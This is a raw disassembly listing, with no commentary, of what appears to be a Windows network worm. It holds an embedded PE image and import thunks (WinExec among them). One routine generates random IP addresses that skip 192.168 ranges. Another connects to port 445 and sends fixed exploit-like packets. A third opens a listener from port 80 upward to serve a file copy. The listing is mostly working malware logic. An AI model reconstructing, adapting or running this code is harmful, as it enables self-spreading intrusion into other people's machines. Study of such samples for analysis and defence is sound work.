sub_43DD1C proc near ; CODE XREF: .text:0043D71Cp
jmp dword ptr ds:10005144h
sub_43DD1C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DD28 proc near ; CODE XREF: sub_43D760+71p
; sub_43D760+86p
jmp dword ptr ds:10005148h
sub_43DD28 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DD34 proc near ; CODE XREF: .text:0043DAF5p
jmp dword ptr ds:1000514Ch
sub_43DD34 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DD40 proc near ; CODE XREF: sub_43DAA7+14p
; .text:0043DBC6p
jmp dword ptr ds:10005150h
sub_43DD40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_43DD4C proc near ; CODE XREF: sub_43D7F8+B7p
jmp dword ptr ds:10005154h
sub_43DD4C endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 14h dup(0)
dd 2 dup(1), 7Ch dup(0)
dd 10001536h, 5 dup(0)
dd 7325h, 720077h, 1Ch dup(0)
dd 2, 0Ch, 0
dd 3B4E2A00h, 734D3E5Ah
db 0, 4Bh, 0
; char Dest[]
Dest db 'abcdefghijklmno',0 ; DATA XREF: sub_403BE7+283o
aAy db 'Ay&',0
db '\',0
aTtii db '’’ˆë»',0
align 10h
dd 4Fh dup(0)
dd 5070h, 2 dup(0)
dd 52F8h, 50E8h, 50B0h, 2 dup(0)
dd 5340h, 5128h, 12h dup(0)
dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h
dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0)
dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h
dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0)
dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h
dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0)
dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h
dd 52CCh, 52D8h, 52E0h, 52ECh, 0
dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
dd 746E6572h, 65726854h, 64496461h, 0
dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
dd 4173676Eh, 0
dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
dd 0
dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
dd 73736563h, 70616548h, 0
dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch
dd 72655674h, 6E6F6973h, 0
dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
dd 704F01D2h, 754D6E65h, 41786574h, 0
dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
dd 635F0039h, 74697865h, 0
dd 616D024Eh, 636F6C6Ch, 0
dd 656D0254h, 7970636Dh, 0
dd 7270025Bh, 66746E69h, 0
dd 61720260h, 657369h, 65730267h, 66756274h, 0
dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
dd 74730275h, 79706372h, 0
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 0
dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h)
dd 22h dup(0)
dd 20h, 0
dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0)
dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h
dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
dd 33783374h, 4Ah dup(0)
dd 427CB50Ah, 0
dd 7028h, 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h
dd 1536h, 703Ch, 0
dd 62694C5Fh, 6E69614Dh, 323140h, 6Eh dup(0)
db 0
byte_43EB9D db 4Dh, 5Ah, 90h ; DATA XREF: sub_403A5F+CCo
dd 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h
dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h
dd 0
dd 400h, 0
dd 600000h, 40000h, 0
dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0
dd 1000h, 2 dup(0)
dd 500000h, 97000h, 1Ch dup(0)
dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h
dd 3 dup(0)
dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
dd 1E0000h, 3 dup(0)
dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
dd 2C0000h, 3 dup(0)
dd 6000h, 0C0h, 79h dup(0)
dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh
dd 24548B08h, 0B8028910h, 3
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_43EFBD proc near ; CODE XREF: .text:0043F0F5p
; .text:0043F123p
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_401000
push large dword ptr fs:0
mov large fs:0, esp
loc_43EFDA: ; CODE XREF: sub_43EFBD+44j
; sub_43EFBD+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43F009
cmp esi, [esp+1Ch+arg_4]
jz short loc_43F009
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43EFDA
call dword ptr [ebx+esi*4+8]
jmp short loc_43EFDA
; ---------------------------------------------------------------------------
loc_43F009: ; CODE XREF: sub_43EFBD+2Aj
; sub_43EFBD+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43EFBD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F017 proc near ; CODE XREF: .text:0043F0E8p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_401092
push [ebp+arg_0]
call sub_440755
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43F017 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
mov dword ptr loc_404086+6, eax
mov dword ptr loc_40408D+3, ebx
test dword ptr [eax+4], 6
jnz loc_43F11C
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
mov dword ptr loc_40408D+3, eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43F07A: ; CODE XREF: .text:0043F113j
cmp esi, 0FFFFFFFFh
jz loc_43F12B
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43F10A
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword ptr loc_40402C+4, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword ptr loc_404033+1, eax
mov eax, [edx+4]
mov dword ptr loc_404033+5, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, loc_40403B+1
mov esi, dword ptr loc_404033+1
rep movsd
lea edi, loc_40403B+1
mov dword ptr loc_404033+1, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43F10A
js short loc_43F118
mov edi, [ebx+8]
push ebx
call sub_43F017
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43EFBD
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43F10A: ; CODE XREF: .text:0043F08Bj
; .text:0043F0E0j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43F07A
; ---------------------------------------------------------------------------
loc_43F118: ; CODE XREF: .text:0043F0E2j
xor eax, eax
jmp short loc_43F18D
; ---------------------------------------------------------------------------
loc_43F11C: ; CODE XREF: .text:0043F05Aj
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43EFBD
add esp, 0Ch
loc_43F12B: ; CODE XREF: .text:0043F07Dj
push 0
mov dword ptr loc_40400E+2, 0Bh
push 0Bh
call sub_4408F9
add esp, 8
or eax, eax
jnz short loc_43F166
push 0
mov dword ptr loc_40400E+2, 8
push 8
call sub_4408F9
add esp, 8
or eax, eax
jnz short loc_43F166
mov eax, 1
jmp short loc_43F18D
; ---------------------------------------------------------------------------
loc_43F166: ; CODE XREF: .text:0043F143j
; .text:0043F15Dj
cmp eax, 0FFFFFFFFh
jz short loc_43F195
push eax
push dword ptr loc_40400E+2
call sub_4408F9
add esp, 8
push dword ptr loc_40400E+2
call sub_4408E1
add esp, 4
mov eax, 1
loc_43F18D: ; CODE XREF: .text:0043F11Aj
; .text:0043F164j ...
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_43F195: ; CODE XREF: .text:0043F169j
cmp dword ptr loc_40402C, 0
jnz short loc_43F1A5
mov eax, 1
jmp short loc_43F18D
; ---------------------------------------------------------------------------
loc_43F1A5: ; CODE XREF: .text:0043F19Cj
mov eax, dword ptr loc_40402C
push 0Bh
jmp eax
; ---------------------------------------------------------------------------
pop eax
mov eax, 1
jmp short loc_43F18D
; ---------------------------------------------------------------------------
mov eax, large fs:0
push ebp
mov ebp, esp
push 0FFFFFFFFh
push 40401Ch
push offset sub_40109A
push eax
mov large fs:0, esp
sub esp, 10h
push ebx
push esi
push edi
mov [ebp-18h], esp
push eax
fnstcw word ptr [esp]
or word ptr [esp], 300h
fldcw word ptr [esp]
add esp, 4
push 0
push 0
push 404028h
push 404024h
push offset loc_404020
call sub_4408A5
push dword ptr loc_404025+3
push dword ptr loc_404023+1
push dword ptr loc_404020
mov dword ptr loc_40400E+6, esp
call sub_4405FD
add esp, 18h
xor ecx, ecx
mov [ebp-4], ecx
push eax
call sub_4408BD
leave
retn
; ---------------------------------------------------------------------------
mov large fs:0, eax
retn
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F239 proc near ; CODE XREF: sub_43F2D4+12p
var_35 = byte ptr -35h
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
push 2
lea eax, [ebp+var_35]
push eax
push [ebp+arg_0]
call sub_440899
add esp, 0Ch
lea ecx, [ebp+var_35]
or eax, 0FFFFFFFFh
loc_43F25C: ; CODE XREF: sub_43F239+28j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F25C
mov ebx, eax
mov [ebp+var_2], bl
mov [ebp+var_1], 0
jmp short loc_43F284
; ---------------------------------------------------------------------------
loc_43F26E: ; CODE XREF: sub_43F239+55j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
sub edx, eax
dec edx
mov al, [ebp+eax+var_35]
mov [edi+edx], al
add [ebp+var_1], 1
loc_43F284: ; CODE XREF: sub_43F239+33j
movzx eax, [ebp+var_1]
movzx edx, [ebp+var_2]
cmp eax, edx
jl short loc_43F26E
movzx eax, [ebp+var_2]
mov byte ptr [edi+eax], 0
mov [ebp+var_3], 0
jmp short loc_43F2B0
; ---------------------------------------------------------------------------
loc_43F29E: ; CODE XREF: sub_43F239+88j
push 404DE5h
push edi
call sub_44091D
add esp, 8
add [ebp+var_3], 1
loc_43F2B0: ; CODE XREF: sub_43F239+63j
movzx eax, [ebp+var_3]
mov edx, 20h
movzx ecx, [ebp+var_2]
sub edx, ecx
cmp eax, edx
jl short loc_43F29E
push [ebp+arg_8]
push edi
call sub_44091D
add esp, 8
pop edi
pop esi
pop ebx
leave
retn
sub_43F239 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F2D4 proc near ; CODE XREF: sub_4403F5+97p
var_32 = byte ptr -32h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 34h
push 404DE3h
lea eax, [ebp+var_32]
push eax
push [ebp+arg_0]
call sub_43F239
add esp, 0Ch
lea eax, [ebp+var_32]
push eax
call sub_44070D
leave
retn
sub_43F2D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F2F9 proc near ; CODE XREF: .text:004403B3p
; sub_4403F5+F1p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push eax
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 0
push 0F003Fh
push 0
push 0
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_44085D
mov edi, eax
or edi, edi
jz short loc_43F329
xor eax, eax
jmp short loc_43F361
; ---------------------------------------------------------------------------
loc_43F329: ; CODE XREF: sub_43F2F9+2Aj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_44088D
mov edi, eax
push [ebp+var_4]
call sub_440869
or edi, edi
jz short loc_43F351
xor eax, eax
jmp short loc_43F361
; ---------------------------------------------------------------------------
loc_43F351: ; CODE XREF: sub_43F2F9+52j
cmp [ebp+var_8], 1
jnz short loc_43F35E
mov eax, 2
jmp short loc_43F361
; ---------------------------------------------------------------------------
loc_43F35E: ; CODE XREF: sub_43F2F9+5Cj
xor eax, eax
inc eax
loc_43F361: ; CODE XREF: sub_43F2F9+2Ej
; sub_43F2F9+56j ...
pop edi
leave
retn
sub_43F2F9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F364 proc near ; CODE XREF: .text:0044038Cp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push edi
lea eax, [ebp+var_4]
push eax
push 20019h
push 0
push [ebp+arg_4]
push [ebp+arg_0]
call sub_440875
mov edi, eax
or edi, edi
jz short loc_43F389
xor eax, eax
jmp short loc_43F3B4
; ---------------------------------------------------------------------------
loc_43F389: ; CODE XREF: sub_43F364+1Fj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_14]
push 0
push [ebp+arg_8]
push [ebp+var_4]
call sub_440881
mov edi, eax
push [ebp+var_4]
call sub_440869
or edi, edi
jz short loc_43F3B1
xor eax, eax
jmp short loc_43F3B4
; ---------------------------------------------------------------------------
loc_43F3B1: ; CODE XREF: sub_43F364+47j
xor eax, eax
inc eax
loc_43F3B4: ; CODE XREF: sub_43F364+23j
; sub_43F364+4Bj
pop edi
leave
retn
sub_43F364 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 200h
push ebx
push esi
push edi
xor ebx, ebx
push 0
push 100h
lea eax, [ebp-100h]
push eax
push dword ptr [ebp+8]
call sub_4405B5
cmp eax, 0FFFFFFFFh
jz loc_43F4FB
push 404DDFh
lea eax, [ebp-100h]
push eax
call sub_440935
add esp, 8
or eax, eax
jz loc_43F4BD
push 404DDBh
lea edx, [ebp-100h]
push edx
call sub_440935
add esp, 8
or eax, eax
jz loc_43F4BD
push 0
push 3Dh
push 404D9Dh
push dword ptr [ebp+8]
call sub_4405C1
push dword ptr loc_403004
push 404D86h
lea eax, [ebp-200h]
push eax
call sub_440905
add esp, 0Ch
lea ecx, [ebp-200h]
or eax, 0FFFFFFFFh
loc_43F450: ; CODE XREF: .text:0043F455j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43F450
push 0
push eax
lea edx, [ebp-200h]
push edx
push dword ptr [ebp+8]
call sub_4405C1
loc_43F469: ; CODE XREF: .text:0043F4AFj
mov eax, dword ptr loc_403004
mov edi, eax
sub edi, ebx
cmp edi, 1000h
jb short loc_43F47F
mov edi, 1000h
loc_43F47F: ; CODE XREF: .text:0043F478j
or edi, edi
jz short loc_43F4B1
push 0
push edi
mov eax, ebx
add eax, dword ptr loc_403004+4
push eax
push dword ptr [ebp+8]
call sub_4405C1
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_43F4FB
cmp esi, 1000h
jb short loc_43F4B1
add ebx, esi
push 64h
call sub_44076D
jmp short loc_43F469
; ---------------------------------------------------------------------------
loc_43F4B1: ; CODE XREF: .text:0043F481j
; .text:0043F4A4j
push 404098h
call sub_440725
jmp short loc_43F4DF
; ---------------------------------------------------------------------------
loc_43F4BD: ; CODE XREF: .text:0043F3FAj
; .text:0043F416j
push 0
push 15h
push 404D70h
push dword ptr [ebp+8]
call sub_4405C1
push 0
push 0Dh
push 40409Ch
push dword ptr [ebp+8]
call sub_4405C1
loc_43F4DF: ; CODE XREF: .text:0043F4BBj
push 7D0h
call sub_44076D
push 2
push dword ptr [ebp+8]
call sub_4405CD
push dword ptr [ebp+8]
call sub_440555
loc_43F4FB: ; CODE XREF: .text:0043F3DEj
; .text:0043F49Cj
pop edi
pop esi
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 0
push 404098h
call sub_440719
push 0
push 80h
push 3
push 0
push 1
push 80000000h
push offset loc_403010
call sub_44073D
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_43F541
push 1
call sub_4406AD
loc_43F541: ; CODE XREF: .text:0043F538j
push 0
push ebx
call sub_4406D1
mov dword ptr loc_403004, eax
push eax
push 0
call sub_440731
mov dword ptr loc_403004+4, eax
push 0
lea eax, [ebp-30h]
push eax
push dword ptr loc_403004
push dword ptr loc_403004+4
push ebx
call sub_440749
push ebx
call sub_4406E9
push 0
push 1
push 2
call sub_4405D9
mov esi, eax
push 10h
lea eax, [ebp-24h]
push eax
call sub_440761
mov word ptr [ebp-24h], 2
and dword ptr [ebp-20h], 0
mov word ptr [ebp-26h], 0
loc_43F5A1: ; CODE XREF: .text:0043F5E1j
movzx eax, word ptr [ebp-26h]
add eax, 50h
mov word ptr loc_404092+2, ax
movzx eax, word ptr loc_404092+2
push eax
call sub_440585
mov edx, eax
mov [ebp-22h], dx
push 10h
lea eax, [ebp-24h]
push eax
push esi
call sub_440549
mov [ebp-2Ch], eax
inc word ptr [ebp-26h]
or eax, eax
jz short loc_43F5E3
movzx eax, word ptr [ebp-26h]
cmp eax, 0FDE8h
jl short loc_43F5A1
loc_43F5E3: ; CODE XREF: .text:0043F5D6j
push 64h
push esi
call sub_4405A9
mov dword ptr [ebp-4], 10h
loc_43F5F2: ; CODE XREF: .text:0043F61Dj
lea eax, [ebp-4]
push eax
lea eax, [ebp-14h]
push eax
push esi
call sub_44053D
mov edi, eax
lea eax, [ebp-34h]
push eax
push 0
push edi
push 40141Ah
push 0
push 0
call sub_440791
push eax
call sub_4406E9
jmp short loc_43F5F2
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F624 proc near ; CODE XREF: .text:0043FE57p
var_1B = byte ptr -1Bh
var_1A = byte ptr -1Ah
var_19 = byte ptr -19h
var_18 = byte ptr -18h
var_13 = byte ptr -13h
var_3 = byte ptr -3
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push esi
push edi
lea edi, [ebp+var_13]
lea esi, loc_4040AA
mov ecx, 4
rep movsd
lea edi, [ebp+var_18]
lea esi, loc_4040B4+6
mov ecx, 5
rep movsb
loc_43F64D: ; CODE XREF: sub_43F624+51j
; sub_43F624+74j
call sub_4408ED
mov ecx, 0DDh
cdq
idiv ecx
lea edi, [edx+3]
mov ebx, edi
mov [ebp+var_3], bl
mov [ebp+var_2], 0
jmp short loc_43F69E
; ---------------------------------------------------------------------------
loc_43F66A: ; CODE XREF: sub_43F624+81j
mov al, [ebp+var_3]
movzx edx, [ebp+var_2]
cmp al, [ebp+edx+var_13]
jz short loc_43F64D
movzx eax, [ebp+var_2]
cmp eax, 5
jnb short loc_43F69A
movzx eax, [ebp+var_3]
movzx edx, [ebp+var_2]
movzx ecx, [ebp+edx+var_13]
cmp eax, ecx
jb short loc_43F69A
movzx edx, [ebp+edx+var_18]
cmp eax, edx
jbe short loc_43F64D
loc_43F69A: ; CODE XREF: sub_43F624+5Aj
; sub_43F624+6Bj
inc [ebp+var_2]
loc_43F69E: ; CODE XREF: sub_43F624+44j
movzx eax, [ebp+var_2]
cmp eax, 10h
jb short loc_43F66A
loc_43F6A7: ; CODE XREF: sub_43F624+ACj
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_19], bl
movzx eax, [ebp+var_3]
cmp eax, 0C0h
jnz short loc_43F6D2
movzx eax, [ebp+var_19]
cmp eax, 0A8h
jz short loc_43F6A7
loc_43F6D2: ; CODE XREF: sub_43F624+A1j
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_1A], bl
call sub_4408ED
mov ecx, 0FDh
cdq
idiv ecx
lea edi, [edx+1]
mov ebx, edi
mov [ebp+var_1B], bl
movzx eax, [ebp+var_1B]
push eax
movzx eax, [ebp+var_1A]
push eax
movzx eax, [ebp+var_19]
push eax
movzx eax, [ebp+var_3]
push eax
push 404D64h
push [ebp+arg_0]
call sub_440905
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_43F624 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43F725 proc near ; CODE XREF: .text:0044005Cp
var_89F4 = dword ptr -89F4h
var_89F0 = dword ptr -89F0h
var_89EC = dword ptr -89ECh
var_89E8 = dword ptr -89E8h
var_89E3 = byte ptr -89E3h
var_89E2 = word ptr -89E2h
var_89E0 = byte ptr -89E0h
var_89D8 = byte ptr -89D8h
var_8970 = byte ptr -8970h
var_6900 = byte ptr -6900h
var_68E2 = byte ptr -68E2h
var_6842 = byte ptr -6842h
var_6136 = dword ptr -6136h
var_6126 = byte ptr -6126h
var_6112 = byte ptr -6112h
var_60A2 = byte ptr -60A2h
var_55DE = byte ptr -55DEh
var_403A = byte ptr -403Ah
var_4039 = byte ptr -4039h
var_3FBD = byte ptr -3FBDh
var_37ED = byte ptr -37EDh
var_3342 = byte ptr -3342h
var_3058 = dword ptr -3058h
var_3054 = dword ptr -3054h
var_3050 = dword ptr -3050h
var_304C = word ptr -304Ch
var_304A = word ptr -304Ah
var_3048 = dword ptr -3048h
var_303C = byte ptr -303Ch
var_3039 = byte ptr -3039h
var_300F = byte ptr -300Fh
var_300D = byte ptr -300Dh
var_300C = byte ptr -300Ch
var_2FC7 = byte ptr -2FC7h
var_2F83 = byte ptr -2F83h
var_2987 = byte ptr -2987h
var_21A3 = byte ptr -21A3h
var_2193 = byte ptr -2193h
var_1E6F = byte ptr -1E6Fh
var_1E6B = byte ptr -1E6Bh
var_1E5F = byte ptr -1E5Fh
var_1BDA = byte ptr -1BDAh
var_1BD9 = byte ptr -1BD9h
var_B46 = byte ptr -0B46h
var_82 = byte ptr -82h
var_81 = byte ptr -81h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 89F4h
call sub_440661
push ebx
push esi
push edi
mov [ebp+var_3054], 1
mov [ebp+var_89F0], 1
lea edi, [ebp+var_89E0]
lea esi, loc_4049EB+5
movsd
movsd
and [ebp+var_89F4], 0
mov [ebp+var_89E2], 1BDh
push 0
push 1
push 2
call sub_4405D9
mov [ebp+var_54], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD7B
mov eax, [ebp+arg_0]
mov [ebp+var_89EC], eax
push eax
call sub_44059D
push 1Dh
push eax
lea edi, [ebp+var_6900]
push edi
call sub_440779
lea eax, [ebp+var_6900]
push eax
push 404D5Ah
lea eax, [ebp+var_7C]
push eax
call sub_440905
add esp, 0Ch
xor ebx, ebx
loc_43F7B6: ; CODE XREF: sub_43F725+A2j
mov dl, [ebp+ebx+var_7C]
mov [ebp+ebx*2+var_50], dl
mov [ebp+ebx*2+var_4F], 0
inc ebx
cmp ebx, 28h
jl short loc_43F7B6
push 60h
push offset loc_404525
lea eax, [ebp+var_303C]
push eax
call sub_4408C9
lea eax, [ebp+var_7C]
push eax
call sub_440785
mov edi, eax
shl edi, 1
push edi
lea edi, [ebp+var_50]
push edi
lea edi, [ebp+var_300C]
push edi
call sub_4408C9
lea eax, [ebp+var_7C]
push eax
call sub_440785
push 9
push 40457Ch
mov edi, eax
shl edi, 1
lea edi, [ebp+edi+var_300D]
push edi
call sub_4408C9
lea eax, [ebp+var_7C]
push eax
call sub_440785
mov edx, eax
movsx edi, dl
shl edi, 1
add edi, 34h
mov edx, edi
mov [ebp+var_403A], dl
push 1
lea eax, [ebp+var_403A]
push eax
lea eax, [ebp+var_3039]
push eax
call sub_4408C9
lea eax, [ebp+var_7C]
push eax
call sub_440785
mov edx, eax
movsx edi, dl
shl edi, 1
add edi, 9
mov edx, edi
mov [ebp+var_89E3], dl
push 1
lea eax, [ebp+var_89E3]
push eax
lea eax, [ebp+var_300F]
push eax
call sub_4408C9
mov eax, [ebp+arg_4]
mov [ebp+var_3058], eax
push 0E29h
push 31h
lea eax, [ebp+var_4039]
push eax
call sub_4408D5
add esp, 48h
push 10h
lea eax, [ebp+var_304C]
push eax
call sub_440761
mov [ebp+var_304C], 2
movsx eax, [ebp+var_89E2]
movzx eax, ax
push eax
call sub_440585
mov edi, eax
mov [ebp+var_304A], di
mov eax, [ebp+arg_0]
mov [ebp+var_3048], eax
push 10h
lea eax, [ebp+var_304C]
push eax
push [ebp+var_54]
call sub_440561
cmp eax, 0FFFFFFFFh
jnz short loc_43F8F8
mov [ebp+var_3054], 2
jmp loc_43FD73
; ---------------------------------------------------------------------------
loc_43F8F8: ; CODE XREF: sub_43F725+1C2j
push 64h
call sub_44076D
push 0
push 89h
push offset loc_404313
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
push 0
push 0A8h
push 40439Dh
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
push 0
push 0DEh
push 404446h
push [ebp+var_54]
call sub_4405C1
cmp eax, 0FFFFFFFFh
jnz short $+2
push 64h
call sub_44076D
push 0
push 640h
lea eax, [ebp+var_2FC7]
push eax
push [ebp+var_54]
call sub_4405B5
mov [ebp+var_80], eax
cmp eax, 0FFFFFFFFh
jz loc_43FD69
mov eax, [ebp+var_80]
cmp eax, 0FFFFFFFFh
jz short loc_43F9D2
cmp eax, 46h
jge short loc_43F9D7
